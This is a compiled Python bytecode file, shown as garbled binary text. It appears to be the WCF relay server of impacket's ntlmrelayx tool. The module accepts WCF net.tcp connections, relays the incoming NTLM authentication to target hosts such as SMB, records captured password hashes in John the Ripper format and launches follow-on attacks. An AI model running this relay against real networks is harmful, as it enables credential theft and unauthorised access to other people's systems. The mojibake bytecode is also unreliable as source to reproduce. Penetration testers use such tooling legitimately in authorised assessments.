o
    àý°j¶D  ã                   @   sÄ   d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ d dl	m
Z
mZ d dlmZ d dlmZ d dlmZmZ d d	lmZmZ d d
lmZmZmZmZmZmZ d dlmZ G dd„ deƒZdS )é    N)Úhexlify)ÚThread)ÚPY2)ÚntlmÚLOG)ÚactiveConnections)ÚTargetsProcessor)ÚSTATUS_ACCESS_DENIEDÚSTATUS_SUCCESS)ÚoutputToJohnFormatÚwriteJohnOutputToFile)ÚSPNEGO_NegTokenInitÚASN1_AIDÚSPNEGO_NegTokenRespÚ	TypesMechÚ	MechTypesÚASN1_SUPPORTED_MECH)Úget_addressc                   @   sD   e Zd ZG dd„ dejejƒZG dd„ dejƒZdd„ Z	dd„ Z
d	S )
ÚWCFRelayServerc                   @   s   e Zd Zdd„ ZdS )zWCFRelayServer.WCFServerc                 C   sL   || _ d| _t|d |d | j jƒ\| _}i | _dtj_tj 	| ||¡ d S )NTr   é   )
ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚwpad_countersÚsocketserverÚ	TCPServerÚallow_reuse_addressÚ__init__)ÚselfÚserver_addressÚrequest_handler_classr   © r"   ú¦/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/wcfrelayserver.pyr   3   s   z!WCFRelayServer.WCFServer.__init__N)Ú__name__Ú
__module__Ú__qualname__r   r"   r"   r"   r#   Ú	WCFServer2   s    r'   c                   @   s<   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ ZdS )zWCFRelayServer.WCFHandlerc                 C   s¼   || _ d | _d | _d | _d | _d | _d | _d | _| j jjd u r+t	d|d  d| j j_| j jj 
¡ | _| jd u rCt d|d  ¡ d S t d|d | jj| jjf ¡ tj | |||¡ d S )NzSMB://%s:445/r   )ÚsingleTargetzG(WCF): Received connection from %s, but there are no more targets left!z<(WCF): Received connection from %s, attacking target %s://%s)ÚserverÚchallengeMessageÚtargetÚclientÚmachineAccountÚmachineHashesÚdomainIpÚauthUserr   r   Ú	getTargetr   ÚinfoÚschemeÚnetlocr   ÚBaseRequestHandlerr   )r   ÚrequestÚclient_addressr)   r"   r"   r#   r   <   s$   
ÿz"WCFRelayServer.WCFHandler.__init__c                 C   sD   d}t |ƒ|ks|| j |t |ƒ ¡7 }t |ƒ|krtr t|ƒ}|S )Nó    )Úlenr6   Úrecvr   Ú	bytearray)r   ÚlengthÚbufr"   r"   r#   ÚrecvallS   s   ÿz!WCFRelayServer.WCFHandler.recvallc               	   C   s&  |   d¡}|dkrt d¡ d S |   d¡}|dkr t d¡ d S |   d¡}|dkr0t d¡ d S |   d¡}|   d¡}|d	krEt d
¡ d S |   d¡}t d|¡d }|   |¡ d¡}| d¡sjt d| d ¡ d S |   d¡}|dkrzt d¡ d S |   d¡}	|   d¡}
|
dkrt d¡ d S |   d¡}t d|¡d }|   |¡ d¡}|dkr³t d| d ¡ d S | j d¡ 	 |   d¡}|d dksÌt d¡ d S t d|dd… ¡d }|   |¡}d}t d|dd… ¡d t	krOt
|ƒ}|d  }t|d! d ƒdkrN|d! d }|td" krN|tv rt| }nt|ƒ}t d#| ¡ tƒ }d|d$< td" |d%< | ¡ }d&}|d7 }|t dt|ƒ¡7 }||7 }| j |¡ nt d|dd… ¡d tkrgt|ƒ}|d' }nd}|}nqº| d(¡szt d)¡ d S |  |¡s–t d*| jj| jj¡ | jjj | j¡ d S | j ¡ }|s³tƒ }d|d$< td" |d%< ||d'< | ¡ }d+t dt|ƒ¡ }| j |¡ | j |¡ |   d¡}|d d,krýt d|dd… ¡d }|   |¡}tt d-|d.d/… ¡d ƒ}t d0| ¡ d S t d|dd… ¡d }|   |¡}|st|ƒ}|d' }| d1¡s&t d2¡ d S t ¡ }| |¡ |   ||¡st|d3 tj!@ rYt d4| jj| jj|d5  d6¡|d7  d6¡f ¡ d S t d4| jj| jj|d5  d8¡|d7  d8¡f ¡ d S | j" #¡  |d3 tj!@ r¢t $d9|d5  d6¡|d7  d6¡| j%d | jj| jj| j"j&f ¡ n t $d9|d5  d8¡|d7  d8¡| j%d | jj| jj| j"j&f ¡ t'| jd: |d7 |d5 |d; |d< ƒ}|| j"j(d=< | jjj)du rìt $d>|d?  ¡ | jjj*d urt+|d? |d@ | jjj*ƒ | jjj | jd| j,¡ |  -¡  d S )ANr   ó    z(WCF): wrong VersionRecord codeé   s    z"(WCF): wrong VersionRecord versionó   z(WCF): wrong ModeRecord codeó   z(WCF): wrong ViaRecord codeÚBr   zutf-8z
net.tcp://z(WCF): the Via URL 'zN' does not start with 'net.tcp://'. Only NetTcpBinding is currently supported!ó   z%(WCF): wrong KnownEncodingRecord codeó   	z&(WCF): wrong UpgradeRequestRecord codezapplication/negotiatez(WCF): upgrade 'z>' is not 'application/negotiate'. Only Negotiate is supported!ó   
Té   é   z*(WCF): Wrong handshake_in_progress messagez>Hé   FÚ	MechTokenr   z2NTLMSSP - Microsoft NTLM Security Support Providerz (WCF): Unsupported MechType '%s'ÚNegStateÚSupportedMechó   ÚResponseTokens	   NTLMSSP z&(WCF): Wrong NTLMSSP_NEGOTIATE messagezD(WCF): Negotiating NTLM with %s://%s failed. Skipping to next targets    é   z>Ié   é   z)(WCF): Received handshake_error message: s	   NTLMSSP z!(WCF): Wrong NTLMSSP_AUTH messageÚflagsz5(WCF): Authenticating against %s://%s as %s\%s FAILEDÚdomain_namezutf-16leÚ	user_nameÚasciizK(WCF): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]Ú	challengeÚlanmanr   ÚJOHN_OUTPUTz	(WCF): %sÚhash_stringÚhash_version).r>   r   ÚerrorÚstructÚunpackÚdecodeÚ
startswithr6   Úsendallr   r   r9   r   r   r   Údebugr   ÚgetDataÚpackr   Údo_ntlm_negotiater+   r3   r4   r)   r   ÚregisterTargetr*   Úhexr   ÚNTLMAuthChallengeResponseÚ
fromStringÚdo_ntlm_authÚNTLMSSP_NEGOTIATE_UNICODEr,   ÚsetClientIdr2   r7   Ú	client_idr   ÚsessionDataÚ
dumpHashesÚ
outputFiler   r0   Ú	do_attack) r   Úversion_codeÚversionÚ	mode_codeÚmodeÚvia_codeÚvia_lenÚviaÚknown_encoding_codeÚencodingÚupgrade_codeÚupgrade_lenÚupgradeÚhandshake_in_progressÚsecurityBlob_lenÚsecurityBlobÚrawNTLMÚblobÚtokenÚmechTypeÚmechStrÚ	respTokenÚanswerÚntlmssp_challengeÚhandshake_doneÚ	error_lenÚ	error_msgÚhresultÚntlmssp_auth_lenÚntlmssp_authÚauthenticateMessageÚntlm_hash_datar"   r"   r#   Úhandle\   s*  





















€Ð2
ÿ





ý	üý

þþ
ýÿz WCFRelayServer.WCFHandler.handlec                 C   sÖ   | j j ¡ | jjjv r^| jjj| j j ¡  | jj| j ƒ| _| j ¡ s$dS | j |¡| _	| jjj
rUt | j	d ¡}|tj= | ¡ | j	d< t| ¡ ƒ| j	d< t| ¡ ƒ| j	d< | j	du r\dS dS t d| j j ¡  ¡ dS )NFÚTargetInfoFieldsÚTargetInfoFields_lenÚTargetInfoFields_max_lenz((WCF): Protocol Client for %s not found!T)r+   r3   Úupperr)   r   ÚprotocolClientsr,   ÚinitConnectionÚsendNegotiater*   Úremove_targetr   ÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMErb   r9   r   r[   )r   r‚   Úav_pairsr"   r"   r#   rd     s$   ÿ


ýz+WCFRelayServer.WCFHandler.do_ntlm_negotiatec                 C   sH   |  ¡ | _|d dks| jjdkr| j |¡\}}nt}|tkr"dS dS )NrT   Ú z	127.0.0.1TF)ÚgetUserStringr0   r+   Úhostnamer,   ÚsendAuthr	   r
   )r   r‚   rŽ   ÚclientResponseÚ	errorCoder"   r"   r#   ri   6  s   
z&WCFRelayServer.WCFHandler.do_ntlm_authc                 C   sÀ   | j jjr*| jj ¡ | j jjjv r*t 	| jj
| jj| jj ¡ | j| j| jjf¡ d S | jj ¡ | j jjv rS| j jj| jj ¡  | j j| jj| j| j| jƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz"(WCF): No attack configured for %s)r)   r   ÚrunSocksr+   r3   r”   ÚsocksServerÚsupportedSchemesr   Úputrž   r,   Ú
targetPortr0   rm   ÚattacksÚsessionÚstartr   r[   )r   ÚclientThreadr"   r"   r#   rp   F  s   "ÿüz#WCFRelayServer.WCFHandler.do_attackN)	r$   r%   r&   r   r>   r   rd   ri   rp   r"   r"   r"   r#   Ú
WCFHandler;   s    	 Ar«   c                 C   s    t  | ¡ d| _|| _d | _d S )NT)r   r   Údaemonr   r)   )r   r   r"   r"   r#   r   Z  s   

zWCFRelayServer.__init__c                 C   sz   | j jr	| j j}nd}t d| ¡ |  | j j|f| j| j ¡| _z| j ¡  W n	 t	y0   Y nw t d¡ | j 
¡  d S )Ni­$  z Setting up WCF Server on port %szShutting down WCF Server)r   ÚlisteningPortr   r2   r'   ÚinterfaceIpr«   r)   Úserve_foreverÚKeyboardInterruptÚserver_close)r   Úwcfportr"   r"   r#   Úrun`  s   
ÿ
zWCFRelayServer.runN)r$   r%   r&   r   ÚThreadingMixInr   r'   r5   r«   r   r³   r"   r"   r"   r#   r   1   s    	  !r   ) Úsocketr   r\   Úbinasciir   Ú	threadingr   Úsixr   Úimpacketr   r   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr   Úimpacket.nt_errorsr	   r
   Úimpacket.smbserverr   r   Úimpacket.spnegor   r   r   r   r   r   Úimpacket.examples.utilsr   r   r"   r"   r"   r#   Ú<module>   s    